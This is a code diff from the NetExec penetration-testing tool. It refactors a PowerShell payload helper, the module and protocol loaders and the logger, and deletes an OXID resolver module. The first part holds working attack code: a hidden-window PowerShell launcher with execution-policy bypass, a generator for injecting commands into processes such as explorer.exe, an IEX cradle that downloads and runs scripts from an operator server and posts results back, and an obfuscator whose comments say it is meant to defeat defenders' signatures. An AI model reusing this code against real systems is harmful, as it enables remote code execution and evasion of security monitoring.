-            command = f'powershell.exe -exec bypass -noni -nop -w 1 -C "{invoke_obfuscation(command)}"'
+            nxc_logger.debug(f"Obfuscation attempt: {obfs_attempts + 1}")
+            obfs_command = invoke_obfuscation(command)
+
+            command = f'powershell.exe -exec bypass -noni -nop -w 1 -C "{replace_singles(obfs_command)}"'
             if len(command) <= 8191:
                 break
-
             if obfs_attempts == 4:
                 nxc_logger.error(f"Command exceeds maximum length of 8191 chars (was {len(command)}). exiting.")
                 exit(1)
-
+            nxc_logger.debug(f"Obfuscation length too long with {len(command)}, trying again...")
             obfs_attempts += 1
     else:
-        command = f"powershell.exe -noni -nop -w 1 -enc {encode_ps_command(command)}"
+        # if we arent encoding or obfuscating anything, we quote the entire powershell in double quotes, otherwise the final powershell command will syntax error
+        command = f"-enc {encode_ps_command(command)}" if encode else f'"{command}"'
+        command = f"powershell.exe -noni -nop -w 1 {command}"
+
         if len(command) > 8191:
             nxc_logger.error(f"Command exceeds maximum length of 8191 chars (was {len(command)}). exiting.")
             exit(1)
 
+    nxc_logger.debug(f"Final command: {command}")
     return command
 
 
 def gen_ps_inject(command, context=None, procname="explorer.exe", inject_once=False):
+    """
+    Generates a PowerShell code block for injecting a command into a specified process.
+
+    Args:
+    ----
+        command (str): The command to be injected.
+        context (str, optional): The context in which the code block will be injected. Defaults to None.
+        procname (str, optional): The name of the process into which the command will be injected. Defaults to "explorer.exe".
+        inject_once (bool, optional): Specifies whether the command should be injected only once. Defaults to False.
+
+    Returns:
+    -------
+        str: The generated PowerShell code block.
+    """
     # The following code gives us some control over where and how Invoke-PSInject does its thang
     # It prioritizes injecting into a process of the active console session
     ps_code = """
@@ -207,8 +229,22 @@ if (($injected -eq $False) -or ($inject_once -eq $False)){{
     return ps_code
 
 
-def gen_ps_iex_cradle(context, scripts, command=str(), post_back=True):
-    if type(scripts) is str:
+def gen_ps_iex_cradle(context, scripts, command="", post_back=True):
+    """
+    Generates a PowerShell IEX cradle script for executing one or more scripts.
+
+    Args:
+    ----
+        context (Context): The context object containing server and port information.
+        scripts (str or list): The script(s) to be executed.
+        command (str, optional): A command to be executed after the scripts are executed. Defaults to an empty string.
+        post_back (bool, optional): Whether to send a POST request with the command. Defaults to True.
+
+    Returns:
+    -------
+        str: The generated PowerShell IEX cradle script.
+    """
+    if isinstance(scripts, str):
         launcher = """
 [Net.ServicePointManager]::ServerCertificateValidationCallback = {{$true}}
 [System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]'Ssl3,Tls,Tls11,Tls12'
@@ -222,23 +258,18 @@ IEX (New-Object Net.WebClient).DownloadString('{server}://{addr}:{port}/{ps_scri
             command=command if post_back is False else "",
         ).strip()
 
-    elif type(scripts) is list:
+    elif isinstance(scripts, list):
         launcher = "[Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}\n"
         launcher += "[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]'Ssl3,Tls,Tls11,Tls12'"
         for script in scripts:
-            launcher += "IEX (New-Object Net.WebClient).DownloadString('{server}://{addr}:{port}/{script}')\n".format(
-                server=context.server,
-                port=context.server_port,
-                addr=context.localip,
-                script=script,
-            )
+            launcher += f"IEX (New-Object Net.WebClient).DownloadString('{context.server}://{context.localip}:{context.server_port}/{script}')\n"
         launcher.strip()
         launcher += command if post_back is False else ""
 
     if post_back is True:
-        launcher += """
+        launcher += f"""
 $cmd = {command}
-$request = [System.Net.WebRequest]::Create('{server}://{addr}:{port}/')
+$request = [System.Net.WebRequest]::Create('{context.server}://{context.localip}:{context.server_port}/')
 $request.Method = 'POST'
 $request.ContentType = 'application/x-www-form-urlencoded'
 $bytes = [System.Text.Encoding]::ASCII.GetBytes($cmd)
@@ -246,12 +277,7 @@ $request.ContentLength = $bytes.Length
 $requestStream = $request.GetRequestStream()
 $requestStream.Write($bytes, 0, $bytes.Length)
 $requestStream.Close()
-$request.GetResponse()""".format(
-            server=context.server,
-            port=context.server_port,
-            addr=context.localip,
-            command=command,
-        )
+$request.GetResponse()"""
 
     nxc_logger.debug(f"Generated PS IEX Launcher:\n {launcher}\n")
 
@@ -260,30 +286,20 @@ $request.GetResponse()""".format(
 
 # Following was stolen from https://raw.githubusercontent.com/GreatSCT/GreatSCT/templates/invokeObfuscation.py
 def invoke_obfuscation(script_string):
-    # Add letters a-z with random case to $RandomDelimiters.
-    alphabet = "".join(choice([i.upper(), i]) for i in ascii_lowercase)
+    """
+    Obfuscates a script string and generates an obfuscated payload for execution.
 
-    # Create list of random delimiters called random_delimiters.
-    # Avoid using . * ' " [ ] ( ) etc. as delimiters as these will cause problems in the -Split command syntax.
-    random_delimiters = [
-        "_",
-        "-",
-        ",",
-        "{",
-        "}",
-        "~",
-        "!",
-        "@",
-        "%",
-        "&",
-        "<",
-        ">",
-        ";",
-        ":",
-    ]
+    Args:
+    ----
+        script_string (str): The script string to obfuscate.
 
-    for i in alphabet:
-        random_delimiters.append(i)
+    Returns:
+    -------
+        str: The obfuscated payload for execution.
+    """
+    nxc_logger.debug(f"Command before obfuscation: {script_string}")
+    random_alphabet = "".join(random.choice([i.upper(), i]) for i in ascii_lowercase)
+    random_delimiters = ["_", "-", ",", "{", "}", "~", "!", "@", "%", "&", "<", ">", ";", ":", *list(random_alphabet)]
 
     # Only use a subset of current delimiters to randomize what you see in every iteration of this script's output.
     random_delimiters = [choice(random_delimiters) for _ in range(int(len(random_delimiters) / 4))]
@@ -356,7 +372,7 @@ def invoke_obfuscation(script_string):
     set_ofs_var_back = "".join(choice([i.upper(), i.lower()]) for i in set_ofs_var_back)
 
     # Generate the code that will decrypt and execute the payload and randomly select one.
-    baseScriptArray = [
+    base_script_array = [
         "[" + char_str + "[]" + "]" + choice(["", " "]) + encoded_array,
         "(" + choice(["", " "]) + "'" + delimited_encoded_array + "'." + split + "(" + choice(["", " "]) + "'" + random_delimiters_to_print + "'" + choice(["", " "]) + ")" + choice(["", " "]) + "|" + choice(["", " "]) + for_each_object + choice(["", " "]) + "{" + choice(["", " "]) + "(" + choice(["", " "]) + random_conversion_syntax + ")" + choice(["", " "]) + "}" + choice(["", " "]) + ")",
         "(" + choice(["", " "]) + "'" + delimited_encoded_array + "'" + choice(["", " "]) + random_delimiters_to_print_for_dash_split + choice(["", " "]) + "|" + choice(["", " "]) + for_each_object + choice(["", " "]) + "{" + choice(["", " "]) + "(" + choice(["", " "]) + random_conversion_syntax + ")" + choice(["", " "]) + "}" + choice(["", " "]) + ")",
@@ -364,14 +380,14 @@ def invoke_obfuscation(script_string):
     ]
     # Generate random JOIN syntax for all above options
     new_script_array = [
-        choice(baseScriptArray) + choice(["", " "]) + join + choice(["", " "]) + "''",
-        join + choice(["", " "]) + choice(baseScriptArray),
-        str_join + "(" + choice(["", " "]) + "''" + choice(["", " "]) + "," + choice(["", " "]) + choice(baseScriptArray) + choice(["", " "]) + ")",
-        '"' + choice(["", " "]) + "$(" + choice(["", " "]) + set_ofs_var + choice(["", " "]) + ")" + choice(["", " "]) + '"' + choice(["", " "]) + "+" + choice(["", " "]) + str_str + choice(baseScriptArray) + choice(["", " "]) + "+" + '"' + choice(["", " "]) + "$(" + choice(["", " "]) + set_ofs_var_back + choice(["", " "]) + ")" + choice(["", " "]) + '"',
+        choice(base_script_array) + choice(["", " "]) + join + choice(["", " "]) + "''",
+        join + choice(["", " "]) + choice(base_script_array),
+        str_join + "(" + choice(["", " "]) + "''" + choice(["", " "]) + "," + choice(["", " "]) + choice(base_script_array) + choice(["", " "]) + ")",
+        '"' + choice(["", " "]) + "$(" + choice(["", " "]) + set_ofs_var + choice(["", " "]) + ")" + choice(["", " "]) + '"' + choice(["", " "]) + "+" + choice(["", " "]) + str_str + choice(base_script_array) + choice(["", " "]) + "+" + '"' + choice(["", " "]) + "$(" + choice(["", " "]) + set_ofs_var_back + choice(["", " "]) + ")" + choice(["", " "]) + '"',
     ]
 
     # Randomly select one of the above commands.
-    newScript = choice(new_script_array)
+    new_script = choice(new_script_array)
 
     # Generate random invoke operation syntax
     # Below code block is a copy from Out-ObfuscatedStringCommand.ps1
@@ -383,54 +399,21 @@ def invoke_obfuscation(script_string):
     # but not a silver bullet
     # These methods draw on common environment variable values and PowerShell Automatic Variable
     # values/methods/members/properties/etc.
-    invocationOperator = choice([".", "&"]) + choice(["", " "])
-    invoke_expression_syntax.append(invocationOperator + "( $ShellId[1]+$ShellId[13]+'x')")
-    invoke_expression_syntax.append(invocationOperator + "( $PSHome[" + choice(["4", "21"]) + "]+$PSHOME[" + choice(["30", "34"]) + "]+'x')")
-    invoke_expression_syntax.append(invocationOperator + "( $env:Public[13]+$env:Public[5]+'x')")
-    invoke_expression_syntax.append(invocationOperator + "( $env:ComSpec[4," + choice(["15", "24", "26"]) + ",25]-Join'')")
-    invoke_expression_syntax.append(invocationOperator + "((" + choice(["Get-Variable", "GV", "Variable"]) + " '*mdr*').Name[3,11,2]-Join'')")
-    invoke_expression_syntax.append(invocationOperator + "( " + choice(["$VerbosePreference.ToString()", "([String]$VerbosePreference)"]) + "[1,3]+'x'-Join'')")
+    invocation_operator = choice([".", "&"]) + choice(["", " "])
+    invoke_expression_syntax.extend((invocation_operator + "( $ShellId[1]+$ShellId[13]+'x')", invocation_operator + "( $PSHome[" + choice(["4", "21"]) + "]+$PSHOME[" + choice(["30", "34"]) + "]+'x')", invocation_operator + "( $env:Public[13]+$env:Public[5]+'x')", invocation_operator + "( $env:ComSpec[4," + choice(["15", "24", "26"]) + ",25]-Join'')", invocation_operator + "((" + choice(["Get-Variable", "GV", "Variable"]) + " '*mdr*').Name[3,11,2]-Join'')", invocation_operator + "( " + choice(["$VerbosePreference.ToString()", "([String]$VerbosePreference)"]) + "[1,3]+'x'-Join'')"))
 
     # Randomly choose from above invoke operation syntaxes.
-    invokeExpression = choice(invoke_expression_syntax)
+    invoke_expression = choice(invoke_expression_syntax)
 
     # Randomize the case of selected invoke operation.
-    invokeExpression = "".join(choice([i.upper(), i.lower()]) for i in invokeExpression)
+    invoke_expression = "".join(choice([i.upper(), i.lower()]) for i in invoke_expression)
 
     # Choose random Invoke-Expression/IEX syntax and ordering: IEX ($ScriptString) or ($ScriptString | IEX)
-    invokeOptions = [
-        choice(["", " "]) + invokeExpression + choice(["", " "]) + "(" + choice(["", " "]) + newScript + choice(["", " "]) + ")" + choice(["", " "]),
-        choice(["", " "]) + newScript + choice(["", " "]) + "|" + choice(["", " "]) + invokeExpression,
+    invoke_options = [
+        choice(["", " "]) + invoke_expression + choice(["", " "]) + "(" + choice(["", " "]) + new_script + choice(["", " "]) + ")" + choice(["", " "]),
+        choice(["", " "]) + new_script + choice(["", " "]) + "|" + choice(["", " "]) + invoke_expression,
     ]
 
-    obfuscated_payload = choice(invokeOptions)
-
-    """
-    # Array to store all selected PowerShell execution flags.
-    powerShellFlags = []
-
-    noProfile = '-nop'
-    nonInteractive = '-noni'
-    windowStyle = '-w'
-
-    # Build the PowerShell execution flags by randomly selecting execution flags substrings and randomizing the order.
-    # This is to prevent Blue Team from placing false hope in simple signatures for common substrings of these execution flags.
-    commandlineOptions = []
-    commandlineOptions.append(noProfile[0:randrange(4, len(noProfile) + 1, 1)])
-    commandlineOptions.append(nonInteractive[0:randrange(5, len(nonInteractive) + 1, 1)])
-    # Randomly decide to write WindowStyle value with flag substring or integer value.
-    commandlineOptions.append(''.join(windowStyle[0:randrange(2, len(windowStyle) + 1, 1)] + choice([' '*1, ' '*2, ' '*3]) + choice(['1','h','hi','hid','hidd','hidde'])))
-
-    # Randomize the case of all command-line arguments.
-    for count, option in enumerate(commandlineOptions):
-        commandlineOptions[count] = ''.join(choice([i.upper(), i.lower()]) for i in option)
-
-    for count, option in enumerate(commandlineOptions):
-        commandlineOptions[count] = ''.join(option)
-
-    commandlineOptions = sample(commandlineOptions, len(commandlineOptions)) 
-    commandlineOptions = ''.join(i + choice([' '*1, ' '*2, ' '*3]) for i in commandlineOptions)
-
-    obfuscatedPayload = 'powershell.exe ' + commandlineOptions + newScript
-    """
-    return obfuscated_payload
+    obfuscated_script = choice(invoke_options)
+    nxc_logger.debug(f"Script after obfuscation: {obfuscated_script}")
+    return obfuscated_script

nxc/loaders/moduleloader.py

@@ -1,6 +1,3 @@
-#!/usr/bin/env python3
-# -*- coding: utf-8 -*-
-
 import nxc
 import importlib
 import traceback
@@ -12,7 +9,7 @@ from os.path import join as path_join
 
 from nxc.context import Context
 from nxc.logger import NXCAdapter
-from nxc.paths import nxc_PATH
+from nxc.paths import NXC_PATH
 
 
 class ModuleLoader:
@@ -22,43 +19,31 @@ class ModuleLoader:
         self.logger = logger
 
     def module_is_sane(self, module, module_path):
-        """
-        Check if a module has the proper attributes
-        """
+        """Check if a module has the proper attributes"""
         module_error = False
         if not hasattr(module, "name"):
             self.logger.fail(f"{module_path} missing the name variable")
             module_error = True
+        elif hasattr(module, "name") and module.name != module_path.split("/")[-1].split("\\")[-1][:-3]:
+            self.logger.fail(f"{module_path} filename must match the module name {module.name}")
+            module_error = True
         elif not hasattr(module, "description"):
             self.logger.fail(f"{module_path} missing the description variable")
             module_error = True
         elif not hasattr(module, "supported_protocols"):
             self.logger.fail(f"{module_path} missing the supported_protocols variable")
             module_error = True
-        elif not hasattr(module, "opsec_safe"):
-            self.logger.fail(f"{module_path} missing the opsec_safe variable")
-            module_error = True
-        elif not hasattr(module, "multiple_hosts"):
-            self.logger.fail(f"{module_path} missing the multiple_hosts variable")
-            module_error = True
         elif not hasattr(module, "options"):
             self.logger.fail(f"{module_path} missing the options function")
             module_error = True
         elif not hasattr(module, "on_login") and not (module, "on_admin_login"):
             self.logger.fail(f"{module_path} missing the on_login/on_admin_login function(s)")
             module_error = True
-        # elif not hasattr(module, 'chain_support'):
-        #    self.logger.fail('{} missing the chain_support variable'.format(module_path))
-        #    module_error = True
 
-        if module_error:
-            return False
-        return True
+        return not module_error
 
     def load_module(self, module_path):
-        """
-        Load a module, initializing it and checking that it has the proper attributes
-        """
+        """Load a module, initializing it and checking that it has the proper attributes"""
         try:
             spec = importlib.util.spec_from_file_location("NXCModule", module_path)
             module = spec.loader.load_module().NXCModule()
@@ -68,12 +53,9 @@ class ModuleLoader:
         except Exception as e:
             self.logger.fail(f"Failed loading module at {module_path}: {e}")
             self.logger.debug(traceback.format_exc())
-        return None
 
     def init_module(self, module_path):
-        """
-        Initialize a module for execution
-        """
+        """Initialize a module for execution"""
         module = None
         module = self.load_module(module_path)
 
@@ -99,21 +81,18 @@ class ModuleLoader:
                 sys.exit(1)
 
     def get_module_info(self, module_path):
-        """
-        Get the path, description, and options from a module
-        """
+        """Get the path, description, and options from a module"""
         try:
             spec = importlib.util.spec_from_file_location("NXCModule", module_path)
             module_spec = spec.loader.load_module().NXCModule
 
             module = {
-                f"{module_spec.name.lower()}": {
+                f"{module_spec.name}": {
                     "path": module_path,
                     "description": module_spec.description,
                     "options": module_spec.options.__doc__,
                     "supported_protocols": module_spec.supported_protocols,
-                    "opsec_safe": module_spec.opsec_safe,
-                    "multiple_hosts": module_spec.multiple_hosts,
+                    "requires_admin": bool(hasattr(module_spec, "on_admin_login") and callable(module_spec.on_admin_login)),
                 }
             }
             if self.module_is_sane(module_spec, module_path):
@@ -121,16 +100,13 @@ class ModuleLoader:
         except Exception as e:
             self.logger.fail(f"Failed loading module at {module_path}: {e}")
             self.logger.debug(traceback.format_exc())
-        return None
 
     def list_modules(self):
-        """
-        List modules without initializing them
-        """
+        """List modules without initializing them"""
         modules = {}
         modules_paths = [
             path_join(dirname(nxc.__file__), "modules"),
-            path_join(nxc_PATH, "modules"),
+            path_join(NXC_PATH, "modules"),
         ]
 
         for path in modules_paths:
@@ -140,6 +116,6 @@ class ModuleLoader:
                         module_path = path_join(path, module)
                         module_data = self.get_module_info(module_path)
                         modules.update(module_data)
-                    except:
-                        pass
+                    except Exception as e:
+                        self.logger.debug(f"Error loading module {module}: {e}")
         return modules

nxc/loaders/protocolloader.py

@@ -1,17 +1,13 @@
-#!/usr/bin/env python3
-# -*- coding: utf-8 -*-
 from types import ModuleType
 from importlib.machinery import SourceFileLoader
 from os import listdir
 from os.path import join as path_join
-from os.path import dirname, exists, expanduser
+from os.path import dirname, exists
+
 import nxc
 
 
 class ProtocolLoader:
-    def __init__(self):
-        self.nxc_path = expanduser("~/.nxc")
-
     def load_protocol(self, protocol_path):
         loader = SourceFileLoader("protocol", protocol_path)
         protocol = ModuleType(loader.name)
@@ -20,27 +16,22 @@ class ProtocolLoader:
 
     def get_protocols(self):
         protocols = {}
-        protocol_paths = [
-            path_join(dirname(nxc.__file__), "protocols"),
-            path_join(self.nxc_path, "protocols"),
-        ]
 
-        for path in protocol_paths:
-            for protocol in listdir(path):
-                if protocol[-3:] == ".py" and protocol[:-3] != "__init__":
-                    protocol_path = path_join(path, protocol)
-                    protocol_name = protocol[:-3]
+        proto_path = path_join(dirname(nxc.__file__), "protocols")
+        for protocol in listdir(proto_path):
+            if protocol[-3:] == ".py" and protocol[:-3] != "__init__":
+                protocol_path = path_join(proto_path, protocol)
+                protocol_name = protocol[:-3]
 
-                    protocols[protocol_name] = {"path": protocol_path}
-
-                    db_file_path = path_join(path, protocol_name, "database.py")
-                    db_nav_path = path_join(path, protocol_name, "db_navigator.py")
-                    protocol_args_path = path_join(path, protocol_name, "proto_args.py")
-                    if exists(db_file_path):
-                        protocols[protocol_name]["dbpath"] = db_file_path
-                    if exists(db_nav_path):
-                        protocols[protocol_name]["nvpath"] = db_nav_path
-                    if exists(protocol_args_path):
-                        protocols[protocol_name]["argspath"] = protocol_args_path
+                protocols[protocol_name] = {"path": protocol_path}
 
+                db_file_path = path_join(proto_path, protocol_name, "database.py")
+                db_nav_path = path_join(proto_path, protocol_name, "db_navigator.py")
+                protocol_args_path = path_join(proto_path, protocol_name, "proto_args.py")
+                if exists(db_file_path):
+                    protocols[protocol_name]["dbpath"] = db_file_path
+                if exists(db_nav_path):
+                    protocols[protocol_name]["nvpath"] = db_nav_path
+                if exists(protocol_args_path):
+                    protocols[protocol_name]["argspath"] = protocol_args_path
         return protocols

nxc/logger.py

@@ -1,179 +1,190 @@
-#!/usr/bin/env python3
-# -*- coding: utf-8 -*-
 import logging
 from logging import LogRecord
 from logging.handlers import RotatingFileHandler
 import os.path
 import sys
-import re
-from nxc.helpers.misc import called_from_cmd_args
 from nxc.console import nxc_console
+from nxc.paths import NXC_PATH
 from termcolor import colored
 from datetime import datetime
 from rich.text import Text
 from rich.logging import RichHandler
+import functools
+import inspect
+import argparse
+
+
+def parse_debug_args():
+    debug_parser = argparse.ArgumentParser(add_help=False)
+    debug_parser.add_argument("--debug", action="store_true")
+    debug_parser.add_argument("--verbose", action="store_true")
+    args, _ = debug_parser.parse_known_args()
+    return args
+
+
+def setup_debug_logging():
+    debug_args = parse_debug_args()
+    root_logger = logging.getLogger("root")
+
+    if debug_args.verbose:
+        nxc_logger.logger.setLevel(logging.INFO)
+        root_logger.setLevel(logging.INFO)
+    elif debug_args.debug:
+        nxc_logger.logger.setLevel(logging.DEBUG)
+        root_logger.setLevel(logging.DEBUG)
+    else:
+        nxc_logger.logger.setLevel(logging.ERROR)
+        root_logger.setLevel(logging.ERROR)
+
+
+def create_temp_logger(caller_frame, formatted_text, args, kwargs):
+    """Create a temporary logger for emitting a log where we need to override the calling file & line number, since these are obfuscated"""
+    temp_logger = logging.getLogger("temp")
+    formatter = logging.Formatter("%(message)s", datefmt="[%X]")
+    handler = SmartDebugRichHandler(formatter=formatter)
+    handler.handle(LogRecord(temp_logger.name, logging.INFO, caller_frame.f_code.co_filename, caller_frame.f_lineno, formatted_text, args, None, caller_frame=caller_frame))
+
+
+class SmartDebugRichHandler(RichHandler):
+    """Custom logging handler for when we want to log normal messages to DEBUG and not double log"""
+
+    def __init__(self, formatter=None, *args, **kwargs):
+        super().__init__(*args, **kwargs)
+        if formatter is not None:
+            self.setFormatter(formatter)
+
+    def emit(self, record):
+        """Overrides the emit method of the RichHandler class so we can set the proper pathname and lineno"""
+        if hasattr(record, "caller_frame"):
+            frame_info = inspect.getframeinfo(record.caller_frame)
+            record.pathname = frame_info.filename
+            record.lineno = frame_info.lineno
+        super().emit(record)
+
+
+def no_debug(func):
+    """Stops logging non-debug messages when we are in debug mode
+    It creates a temporary logger and logs the message to the console and file
+    This is so we don't get both normal output AND debugging output, AND so we get the proper log calling file & line number
+    """
+    @functools.wraps(func)
+    def wrapper(self, msg, *args, **kwargs):
+        if self.logger.getEffectiveLevel() >= logging.INFO:
+            return func(self, msg, *args, **kwargs)
+        else:
+            formatted_text = Text.from_ansi(self.format(msg, *args, **kwargs)[0])
+            caller_frame = inspect.currentframe().f_back
+            create_temp_logger(caller_frame, formatted_text, args, kwargs)
+            self.log_console_to_file(formatted_text, *args, **kwargs)
+    return wrapper
 
 
 class NXCAdapter(logging.LoggerAdapter):
-    def __init__(self, extra=None):
+    def __init__(self, extra=None, merge_extra=False):
         logging.basicConfig(
             format="%(message)s",
             datefmt="[%X]",
-            handlers=[
-                RichHandler(
-                    console=nxc_console,
-                    rich_tracebacks=True,
-                    tracebacks_show_locals=False,
-                )
-            ],
+            handlers=[RichHandler(
+                console=nxc_console,
+                rich_tracebacks=True,
+                tracebacks_show_locals=False
+            )],
+            encoding="utf-8"
         )
         self.logger = logging.getLogger("nxc")
         self.extra = extra
+        self.merge_extra = merge_extra
         self.output_file = None
 
+        logging.getLogger("impacket").disabled = True
         logging.getLogger("pypykatz").disabled = True
         logging.getLogger("minidump").disabled = True
         logging.getLogger("lsassy").disabled = True
-        #logging.getLogger("impacket").disabled = True
+        logging.getLogger("dploot").disabled = True
+        logging.getLogger("neo4j").setLevel(logging.ERROR)
 
     def format(self, msg, *args, **kwargs):
-        """
-        Format msg for output if needed
+        """Format msg for output
+
         This is used instead of process() since process() applies to _all_ messages, including debug calls
         """
         if self.extra is None:
             return f"{msg}", kwargs
 
-        if "module_name" in self.extra.keys():
-            if len(self.extra["module_name"]) > 8:
-                self.extra["module_name"] = self.extra["module_name"][:8] + "..."
+        if "module_name" in self.extra and len(self.extra["module_name"]) > 11:
+            self.extra["module_name"] = self.extra["module_name"][:8] + "..."
 
         # If the logger is being called when hooking the 'options' module function
-        if len(self.extra) == 1 and ("module_name" in self.extra.keys()):
-            return (
-                f"{colored(self.extra['module_name'], 'cyan', attrs=['bold']):<64} {msg}",
-                kwargs,
-            )
-
-        # If the logger is being called from nxcServer
-        if len(self.extra) == 2 and ("module_name" in self.extra.keys()) and ("host" in self.extra.keys()):
-            return (
-                f"{colored(self.extra['module_name'], 'cyan', attrs=['bold']):<24} {self.extra['host']:<39} {msg}",
-                kwargs,
-            )
+        if len(self.extra) == 1 and ("module_name" in self.extra):
+            return (f"{colored(self.extra['module_name'], 'cyan', attrs=['bold']):<64} {msg}", kwargs)
 
         # If the logger is being called from a protocol
-        if "module_name" in self.extra.keys():
-            module_name = colored(self.extra["module_name"], "cyan", attrs=["bold"])
-        else:
-            module_name = colored(self.extra["protocol"], "blue", attrs=["bold"])
+        module_name = colored(self.extra["module_name"], "cyan", attrs=["bold"]) if "module_name" in self.extra else colored(self.extra["protocol"], "blue", attrs=["bold"])
 
-        return (
-            f"{module_name:<24} {self.extra['host']:<15} {self.extra['port']:<6} {self.extra['hostname'] if self.extra['hostname'] else 'NONE':<16} {msg}",
-            kwargs,
-        )
+        return (f"{module_name:<24} {self.extra['host']:<15} {self.extra['port']:<6} {self.extra['hostname'] if self.extra['hostname'] else 'NONE':<16} {msg}", kwargs)
 
+    @no_debug
     def display(self, msg, *args, **kwargs):
-        """
-        Display text to console, formatted for nxc
-        """
-        try:
-            if "protocol" in self.extra.keys() and not called_from_cmd_args():
-                return
-        except AttributeError:
-            pass
-
+        """Display text to console, formatted for nxc"""
         msg, kwargs = self.format(f"{colored('[*]', 'blue', attrs=['bold'])} {msg}", kwargs)
         text = Text.from_ansi(msg)
         nxc_console.print(text, *args, **kwargs)
         self.log_console_to_file(text, *args, **kwargs)
 
-    def success(self, msg, color='green', *args, **kwargs):
-        """
-        Print some sort of success to the user
-        """
-        try:
-            if "protocol" in self.extra.keys() and not called_from_cmd_args():
-                return
-        except AttributeError:
-            pass
-
+    @no_debug
+    def success(self, msg, color="green", *args, **kwargs):
+        """Prints some sort of success to the user"""
         msg, kwargs = self.format(f"{colored('[+]', color, attrs=['bold'])} {msg}", kwargs)
         text = Text.from_ansi(msg)
         nxc_console.print(text, *args, **kwargs)
         self.log_console_to_file(text, *args, **kwargs)
 
+    @no_debug
     def highlight(self, msg, *args, **kwargs):
-        """
-        Prints a completely yellow highlighted message to the user
-        """
-        try:
-            if "protocol" in self.extra.keys() and not called_from_cmd_args():
-                return
-        except AttributeError:
-            pass
-
+        """Prints a completely yellow highlighted message to the user"""
         msg, kwargs = self.format(f"{colored(msg, 'yellow', attrs=['bold'])}", kwargs)
         text = Text.from_ansi(msg)
         nxc_console.print(text, *args, **kwargs)
         self.log_console_to_file(text, *args, **kwargs)
 
-    def fail(self, msg, color='red', *args, **kwargs):
-        """
-        Prints a failure (may or may not be an error) - e.g. login creds didn't work
-        """
-        try:
-            if "protocol" in self.extra.keys() and not called_from_cmd_args():
-                return
-        except AttributeError:
-            pass
+    @no_debug
+    def fail(self, msg, color="red", *args, **kwargs):
+        """Prints a failure (may or may not be an error) - e.g. login creds didn't work"""
         msg, kwargs = self.format(f"{colored('[-]', color, attrs=['bold'])} {msg}", kwargs)
         text = Text.from_ansi(msg)
         nxc_console.print(text, *args, **kwargs)
         self.log_console_to_file(text, *args, **kwargs)
 
     def log_console_to_file(self, text, *args, **kwargs):
-        """
+        """Log the console output to a file
+
         If debug or info logging is not enabled, we still want display/success/fail logged to the file specified,
-        so we create a custom LogRecord and pass it to all the additional handlers (which will be all the file handlers
+        so we create a custom LogRecord and pass it to all the additional handlers (which will be all the file handlers)
         """
-        if self.logger.getEffectiveLevel() >= logging.INFO:
-            # will be 0 if it's just the console output, so only do this if we actually have file loggers
-            if len(self.logger.handlers):
-                try:
-                    for handler in self.logger.handlers:
-                        handler.handle(
-                            LogRecord(
-                                "nxc",
-                                20,
-                                "",
-                                kwargs,
-                                msg=text,
-                                args=args,
-                                exc_info=None,
-                            )
-                        )
-                except Exception as e:
-                    self.logger.fail(f"Issue while trying to custom print handler: {e}")
-        else:
-            self.logger.info(text)
+        caller_frame = inspect.currentframe().f_back.f_back.f_back
+        if len(self.logger.handlers):  # will be 0 if it's just the console output, so only do this if we actually have file loggers
+            try:
+                for handler in self.logger.handlers:
+                    handler.handle(LogRecord("nxc", 20, pathname=caller_frame.f_code.co_filename, lineno=caller_frame.f_lineno, msg=text, args=args, exc_info=None))
+            except Exception as e:
+                self.logger.fail(f"Issue while trying to custom print handler: {e}")
 
     def add_file_log(self, log_file=None):
-        file_formatter = TermEscapeCodeFormatter("%(asctime)s - %(levelname)s - %(message)s")
+        file_formatter = logging.Formatter("%(asctime)s | %(filename)s:%(lineno)s - %(levelname)s - %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
         output_file = self.init_log_file() if log_file is None else log_file
         file_creation = False
 
         if not os.path.isfile(output_file):
-            open(output_file, "x")
+            open(output_file, "x")  # noqa: SIM115
             file_creation = True
 
-        file_handler = RotatingFileHandler(output_file, maxBytes=100000)
+        file_handler = RotatingFileHandler(output_file, maxBytes=100000, encoding="utf-8")
 
         with file_handler._open() as f:
             if file_creation:
-                f.write("[%s]> %s\n\n" % (datetime.now().strftime("%d-%m-%Y %H:%M:%S"), " ".join(sys.argv)))
+                f.write(f"[{datetime.now().strftime('%Y-%m-%d %H:%M:%S')}]> {' '.join(sys.argv)}\n\n")
             else:
-                f.write("\n[%s]> %s\n\n" % (datetime.now().strftime("%d-%m-%Y %H:%M:%S"), " ".join(sys.argv)))
+                f.write(f"\n[{datetime.now().strftime('%Y-%m-%d %H:%M:%S')}]> {' '.join(sys.argv)}\n\n")
 
         file_handler.setFormatter(file_formatter)
         self.logger.addHandler(file_handler)
@@ -181,28 +192,14 @@ class NXCAdapter(logging.LoggerAdapter):
 
     @staticmethod
     def init_log_file():
-        newpath = os.path.expanduser("~/.nxc") + "/logs/" + datetime.now().strftime('%Y-%m-%d')
-        if not os.path.exists(newpath):
-            os.makedirs(newpath)
-        log_filename = os.path.join(
-            os.path.expanduser("~/.nxc"),
+        newpath = NXC_PATH + "/logs/" + datetime.now().strftime("%Y-%m-%d")
+        os.makedirs(newpath, exist_ok=True)
+        return os.path.join(
+            NXC_PATH,
             "logs",
-            datetime.now().strftime('%Y-%m-%d'),
+            datetime.now().strftime("%Y-%m-%d"),
             f"log_{datetime.now().strftime('%Y-%m-%d-%H-%M-%S')}.log",
         )
-        return log_filename
-
-
-class TermEscapeCodeFormatter(logging.Formatter):
-    """A class to strip the escape codes for logging to files"""
-
-    def __init__(self, fmt=None, datefmt=None, style="%", validate=True):
-        super().__init__(fmt, datefmt, style, validate)
-
-    def format(self, record):
-        escape_re = re.compile(r"\x1b\[[0-9;]*m")
-        record.msg = re.sub(escape_re, "", str(record.msg))
-        return super().format(record)
 
 
 # initialize the logger for all of nxc - this is imported everywhere

nxc/modules/IOXIDResolver.py

@@ -1,46 +0,0 @@
-#!/usr/bin/env python3
-# -*- coding: utf-8 -*-
-
-# Credit to https://airbus-cyber-security.com/fr/the-oxid-resolver-part-1-remote-enumeration-of-network-interfaces-without-any-authentication/
-# Airbus CERT
-# module by @mpgn_x64
-
-from ipaddress import ip_address
-from impacket.dcerpc.v5 import transport
-from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_NONE
-from impacket.dcerpc.v5.dcomrt import IObjectExporter
-
-
-class NXCModule:
-    name = "ioxidresolver"
-    description = "This module helps you to identify hosts that have additional active interfaces"
